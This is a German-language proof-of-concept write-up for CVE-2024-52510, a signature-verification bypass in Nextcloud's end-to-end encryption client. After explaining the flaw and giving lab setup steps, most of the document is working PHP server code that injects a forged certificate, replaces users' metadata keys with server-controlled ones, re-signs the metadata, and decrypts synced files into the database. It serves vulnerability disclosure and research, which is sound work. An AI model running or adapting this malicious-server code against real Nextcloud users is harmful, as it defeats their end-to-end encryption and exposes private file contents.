
CVE-2024-52510 - Vertraulichkeitsbruch in der Nextcloud Ende-zu-Ende-Verschlüsselung
Während des normalen Betriebs des E2EEv2-Protokolls von Nextcloud signieren Clients kryptografisch Ordner-Metadaten, bevor sie an den Server hochgeladen werden. Dies stellt sicher, dass die Metadaten nicht manipuliert wurden, wenn sie zum Zweck der Dateifreigabe oder Synchronisierung von Änderungen erneut abgerufen werden.
Die Signaturüberprüfung wird vom Client in foldermetadata.cpp:177 durchgeführt, wenn die abgerufenen Metadaten initialisiert werden. Es gibt jedoch zwei Möglichkeiten, wie ein bösartiger Server diese Prüfung umgehen kann:
Der Server kann mit einem leeren X-E2EE-SIGNATURE-Antwort-Header antworten. Da der Header leer ist, wird die Bedingung bei foldermetadata.cpp:168 erfüllt, sodass die Signaturüberprüfung nicht stattfindet und die geänderten Metadaten vom Client akzeptiert werden.
Der Server kann ein Zertifikat in das users JSON-Array einfügen und dann die Metadaten mit diesem Zertifikat signieren. Da CMS_NO_SIGNER_CERT_VERIFY an clientsideencryption.cpp:941 übergeben wird, wird das signierende Zertifikat nicht kettengeprüft und der Client prüft nur, ob das signierende Zertifikat im certificatePems-Vektor (clientsideencryption.cpp:955-971) vorhanden ist, der vom Server kontrolliert wird.
In diesem POC werden wir die letztere Methode demonstrieren, da sie die schwieriger zu implementierende Methode ist, jedoch wurden beide getestet und funktionieren.
Ein bösartiger Server kann diesen Bypass nutzen, um Clients Metadatenschlüssel bereitzustellen, die dem Server bekannt sind. Die Clients verwenden dann diesen Metadatenschlüssel, um nachfolgende Dateien zu verschlüsseln, sodass der Server Dateien in Ende-zu-Ende-verschlüsselten Ordnern entschlüsseln und lesen kann.
Diese Art der Ausnutzung des Signatur-Bypasses basiert auf einem Angriff, der 2023 von Albrecht, Backendal, Coppola, Paterson auf eine frühere Version des E2EE-Protokolls gefunden wurde (https://eprint.iacr.org/2024/546). Tatsächlich war die Authentifizierung von Metadatenschlüsseln eine Abwehrstrategie gegen den Angriff (siehe Abschnitt 5.1 des verlinkten Papers).
Klonen Sie dieses Repository und öffnen Sie es in VS Code mit der DevContainer-Erweiterung. Ein DevContainer, basierend auf dem im Nextcloud Server Repository, wurde mit den folgenden Änderungen bereitgestellt:
mitmproxy-Reverse-Proxy auf Port 7001 vorhanden. Die Weboberfläche ist über Port 7002 erreichbar.encryption und end_to_end_encryption aktiviert, und ein Konto mit Benutzername und Passwort sharer wird erstellt.Sobald der Server läuft, verbinden Sie sich über http://localhost:8000 (oder über den Reverse-Proxy unter http://localhost:7001) mit dem neuesten Client. Derzeit habe ich dies mit dem AppImage v3.13.2 getestet.
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
Wenn Sie dazu aufgefordert werden, melden Sie sich mit Benutzername sharer und Passwort sharer an. Akzeptieren Sie die Standard-Synchronisierungsoptionen (Erstellen eines Verzeichnisses ~/Nextcloud/ mit welcome.txt darin) und richten Sie die Ende-zu-Ende-Verschlüsselung in den Nextcloud-Client-Einstellungen ein.
Erstellen Sie einen neuen Ordner encrypted_folder im Verzeichnis ~/Nextcloud. Markieren Sie diesen Ordner in den Nextcloud-Client-Einstellungen als verschlüsselt.

Nextcloud/encrypted_folder eine einfache Textdatei und warten Sie, bis sie synchronisiert wird.# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
Melden Sie sich in der Postgres-Datenbank in Adminer unter http://localhost:8080/ mit folgenden Anmeldedaten an:
postgrespostgrespostgresund navigieren Sie zu den Tabellen oc_e2e_encryption_metadata und oc_e2e_encryption_decrypted. Sie sollten die entschlüsselten Metadaten und Dateiinhalte im Klartext sehen können.

Die obigen Screenshots hatten ein paar zusätzliche Testdateien erstellt und gelöscht, daher werden sie etwas anders aussehen als bei Ihnen.
Dieses Repository basiert auf den Repositories Nextcloud Server und End to End Encryption App. Der meiste Code bleibt unverändert, daher werde ich versuchen, eine Erklärung zu geben, was geändert wurde.
Zunächst wurde die Methode getMetadata von MetaDataStorage.php geändert, um die zurückgegebenen Metadaten zu manipulieren, indem eine neue Methode getFakeUserMetadata aufgerufen wird.
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
In der Methode getFakeUserMetadata injizieren wir zunächst ein ausgewähltes Zertifikat in den users JSON-Schlüssel. Dies dient der Erleichterung der Signaturfälschung.
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}
$newUser = new \stdClass();
$newUser->certificate = $pemCertificate;
array_push($metaData->users, $newUser);
}
Da wir Zugriff auf den öffentlichen Schlüssel des Clients haben, können wir unsere eigenen Schlüssel verschlüsseln und die verschlüsselten Metadatenschlüssel durch Schlüssel ersetzen, die wir kontrollieren.
/*
* Step 2: Change all the metadata keys to keys that we control.
*/
foreach ($metaData->users as $userData) {
$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
}
/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
if (!is_null($newUser)) {
$newUser->userId = $this->fakeUserId;
}
Da wir die Metadatenschlüssel manipuliert haben, müssen wir auch den Chiffretext ändern. Wenn wir den Angriff bereits erfolgreich ausgeführt haben, haben wir Zugriff auf echte Metadaten, die wir neu verschlüsseln können. Andernfalls initialisieren wir ein leeres Metadatenobjekt und verschlüsseln es.
/*
* Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
* Then as long as we don't trigger a downsync, the next PUT will
* contain metadata encrypted with a key known to us.
*/
$fakeMetadata = new \stdClass();
$fakeMetadata->folders = new \stdClass();
$fakeMetadata->files = new \stdClass();
try {
$metadataEntities = $this->metadataMapper->getByFolderId($id);
foreach ($metadataEntities as $metadataEntity) {
$encryptedFilename = $metadataEntity->getEncryptedFilename();
if ($metadataEntity->isDirectory()) {
$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
} else {
$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
}
}
} catch (DoesNotExistException $ex) {
/* Return empty metadata */
}
$fakeMetadata->counter = $this->getCounter($id);
/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
$fakeMetadata->keyChecksums = array();
array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
$plaintext = gzencode(json_encode($fakeMetadata));
$nonce = openssl_random_pseudo_bytes(16);
$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
$metaData->metadata->nonce = base64_encode($nonce);
$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
/* Ensure whatever metadata we return syncs up with what is stored on disk */
$folder->getFile($this->metaDataFileName)->putContent($metaData);
Schließlich nehmen wir die manipulierte JSON-Nutzlast und signieren sie erneut mit unserem Zertifikat. Eine Alternative wäre auch, hier eine leere Signatur zu verwenden.
/* Note: We only need to forge a signature for root metadata */
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
file_put_contents($metadataTempFile, base64_encode($metaData));
if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
$signature = base64_encode(file_get_contents($signatureTempFile));
$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
} else {
$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
}
unlink($signatureTempFile);
unlink($metadataTempFile);
return $metaData;
}
Sobald die Metadaten manipuliert wurden, verwendet der Client unseren Verschlüsselungsschlüssel, um neue Metadaten zu verschlüsseln. Beim Empfang neuer Metadaten versuchen wir, sie mit unserem Schlüssel zu entschlüsseln.
--- original/lib/Controller/MetaDataController.php 2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php 2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
}
if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
}
+ $this->metaDataStorage->decryptMetaData($id, $metaData);
+
try {
$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
} catch (MissingMetaDataException $e) {
public function decryptMetaData(int $id, string $metaData) {
$this->verifyFolderStructure();
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
/* Try to decrypt the incoming metadata with our fake key */
$metaData = json_decode($metaData);
$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
$ciphertext = substr($ciphertextAndTag, 0, -16);
$nonce = base64_decode($metaData->metadata->nonce);
$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
/* If we succeed, store the decrypted metadata */
if ($gzippedPlaintext) {
$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
foreach ($decodedMetadata->files as $encryptedFilename => $file) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setEncryptedFilename($encryptedFilename);
$metadataEntity->setKey($file->key);
$metadataEntity->setKey($file->key);
$metadataEntity->setNonce($file->nonce);
$metadataEntity->setAuthenticationTag($file->authenticationTag);
$metadataEntity->setFilename($file->filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setKey($file->key);
$newMetadata->setNonce($file->nonce);
$newMetadata->setAuthenticationTag($file->authenticationTag);
$newMetadata->setFilename($file->filename);
$this->metadataMapper->insert($newMetadata);
}
}
foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setFilename($filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setFilename($filename);
$this->metadataMapper->insert($newMetadata);
}
}
}
}
Schließlich erstellen wir einen Listener für den Fall, dass eine neue Datei erstellt wird, und versuchen, mit den in den entschlüsselten Metadaten gefundenen Dateischlüsseln zu entschlüsseln.
class NodeCreatedListener implements IEventListener {
private MetadataMapper $metadataMapper;
private PlaintextMapper $plaintextMapper;
public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
$this->metadataMapper = $metadataMapper;
$this->plaintextMapper = $plaintextMapper;
}
public function handle(Event $event): void {
if (!($event instanceof NodeCreatedEvent)) {
return;
}
$node = $event->getNode();
$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
if ($node instanceof File) {
$curr = $node;
while (!($curr instanceof Root)) {
$curr = $curr->getParent();
$id = $curr->getId();
try {
$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
} catch (DoesNotExistException $ex) {
continue;
}
/* Metadata found: try to decrypt */
$key = base64_decode($metadata->getKey());
$nonce = base64_decode($metadata->getNonce());
$authenticationTag = base64_decode($metadata->getAuthenticationTag());
$ciphertext = substr($node->getContent(), 0, -16);
$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
if ($plaintext) {
/* Decryption successful. Store in DB */
try {
$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->update($plaintextEntity);
} catch (DoesNotExistException $ex) {
$plaintextEntity = new Plaintext();
$plaintextEntity->setId($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->insert($plaintextEntity);
}
break;
}
}
}
}
}